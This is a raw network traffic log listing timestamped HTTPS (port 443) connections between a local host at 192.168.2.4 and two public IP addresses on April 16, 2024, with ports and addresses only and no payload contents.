Apr 16, 2024 21:40:11.933717966 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.121659040 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.121782064 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.123255968 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.123402119 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.123436928 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.317538023 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.317665100 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.317751884 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.317805052 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.317837954 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.317887068 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.317897081 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.317981005 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.318022013 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.318031073 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.318195105 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.318247080 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.319075108 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.319092035 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.323039055 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.323126078 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.323260069 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.323544025 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.323575020 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.324779987 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.324805021 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.324865103 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.325095892 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.325110912 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.461344957 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.461652040 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.461833000 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.462358952 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.462661028 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.462774038 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.462816000 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.462831974 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.466099024 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.466156006 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.466223955 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.466801882 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.466821909 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.466900110 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.466942072 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.473397017 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.473541975 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.473594904 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.477931976 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.477943897 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.481817007 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.481899023 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.481987953 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.482157946 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.482198000 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.483283997 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.483325005 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.483388901 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.483789921 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.483822107 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.484193087 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.484230995 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.484292030 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.484513044 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.484541893 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.543374062 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.543730021 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.543762922 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.544158936 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.544456005 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.544518948 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.544598103 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.547957897 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.548146963 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.548206091 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.548702002 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.548986912 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.549081087 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.549108028 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.549129009 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.592118979 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.602102995 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.687697887 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.687932014 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.687947989 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.688431025 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.688685894 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.688755989 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.688863039 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.688882113 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.704962969 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.705135107 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.705262899 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.705327034 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.705338001 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.705398083 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.705939054 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.706248999 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.706259966 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.706342936 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.706343889 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.706445932 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.706732035 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.706798077 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.706896067 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.706913948 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.714682102 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.714890003 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.714914083 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.716182947 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.716248989 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.716504097 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.716564894 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.716595888 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.717751980 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.717840910 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.717874050 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.717997074 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.718007088 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.718039989 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.718060970 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.718456030 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.718508959 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.718518019 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.718607903 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.718653917 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.718661070 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.752115011 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.758486032 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.758496046 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.758512020 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:12.759483099 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.759509087 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.771265984 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.771317005 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.771326065 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.812206984 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.812284946 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:12.922580004 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.922683001 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.922758102 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.922842979 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.922880888 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.922930956 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.922940016 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923055887 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923103094 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.923110008 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923599958 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923652887 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.923660040 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923748970 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923831940 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923863888 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.923871994 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.923911095 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.923918009 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.924660921 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.924715042 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.924721956 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.924804926 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.924858093 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.924864054 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.924973965 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.925023079 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.925029039 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.965854883 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.965883017 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.972729921 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:12.972798109 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:12.972806931 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.013647079 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.021908998 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.021940947 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.021962881 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.021986961 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.022021055 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.022061110 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.022069931 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.022087097 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.022120953 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.026766062 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.026782990 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.032943010 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.032999039 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.033082962 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.033437014 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.033456087 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.117321968 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.117453098 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.117542982 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.117599964 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.117633104 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.117676973 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.117686033 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.117876053 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.117928982 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.118087053 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.118104935 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.250751972 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.251580954 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.251642942 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.251964092 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.252435923 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.252501965 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.252614975 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.293350935 CEST	49808	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.293409109 CEST	443	49808	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.305150986 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305210114 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305294991 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305308104 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305341959 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.305346966 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305382013 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305391073 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.305397987 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305418968 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.305454969 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.305488110 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.305519104 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.306907892 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.349443913 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.349750042 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.350177050 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.350356102 CEST	49806	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.350398064 CEST	443	49806	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.350578070 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.350624084 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.351273060 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.351273060 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.351344109 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.357970953 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.358911037 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.359185934 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.359797001 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.359989882 CEST	49805	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.360029936 CEST	443	49805	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.398799896 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.398859024 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.403126001 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.403167963 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.403213024 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.403238058 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.403279066 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.403307915 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.403383970 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.403387070 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.403383970 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.403670073 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.406433105 CEST	49803	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.406455994 CEST	443	49803	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.446141958 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.507299900 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.507474899 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.507548094 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.507752895 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.507805109 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.507833004 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.507863045 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.507903099 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.507992029 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.508160114 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.508192062 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.508435011 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.508476019 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.508492947 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.508559942 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.508788109 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.508804083 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.509114027 CEST	443	49802	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.509147882 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.509345055 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.509346008 CEST	49802	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.512927055 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.512978077 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.513233900 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.513233900 CEST	49810	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.513279915 CEST	443	49810	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.517798901 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.517950058 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518052101 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518151045 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518248081 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518281937 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.518312931 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518475056 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518503904 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.518516064 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518665075 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518693924 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.518703938 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.518944025 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.563791037 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.563991070 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.566895008 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.566929102 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.570588112 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.570899010 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.572113991 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.574572086 CEST	49807	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.574601889 CEST	443	49807	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.579292059 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.583884001 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.583952904 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.585119009 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.586297035 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.586483002 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.586788893 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.621623993 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.628132105 CEST	443	49809	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:13.637518883 CEST	49809	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:13.698549986 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.698750019 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.698859930 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.698887110 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.698926926 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.699101925 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.699206114 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.699220896 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.699453115 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.708810091 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.709008932 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.709095001 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.709223032 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.709234953 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.709455967 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.709554911 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.709640026 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.709666014 CEST	49804	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:13.709683895 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.710226059 CEST	443	49804	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:13.710329056 CEST	443	49804	172.67.191.147	192.168.2.4
